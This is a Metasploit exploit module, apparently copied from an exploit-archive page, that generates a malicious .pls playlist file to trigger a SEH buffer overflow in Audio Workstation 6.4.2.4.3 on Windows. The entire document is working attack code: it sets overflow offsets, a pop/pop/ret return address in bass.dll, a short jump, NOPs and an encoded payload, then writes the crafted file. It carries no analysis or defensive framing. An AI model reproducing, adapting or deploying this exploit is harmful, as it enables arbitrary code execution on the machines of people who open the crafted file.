view source
print?
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
         
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
                    When opening a malicious pls file with the Audio Workstation,
                    a remote attacker could overflow a buffer and execute
                    arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'germaya_x', 'dookie', ],
            'Version'        => '$Revision: 7724 $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/10353' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },                 
            'Payload'        =>
                {
                    'Space'    => 4100,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
                    'DisableNops'   =>  'True',
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 08 2009',
            'DefaultTarget'  => 0))
 
                        register_options(
                                [
                                        OptString.new('FILENAME', [ true, 'The file name.',  'evil.pls']),
                                ], self.class)
 
    end
 
    def exploit
 
        sploit = rand_text_alpha_upper(1308)
        sploit << "\xeb\x16\x90\x90"
        sploit << [target.ret].pack('V')
        sploit << make_nops(16)
        sploit << payload.encoded
        sploit << rand_text_alpha_upper(4668 - payload.encoded.length)
 
        pls = sploit
     
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(pls)
         
    end
 
end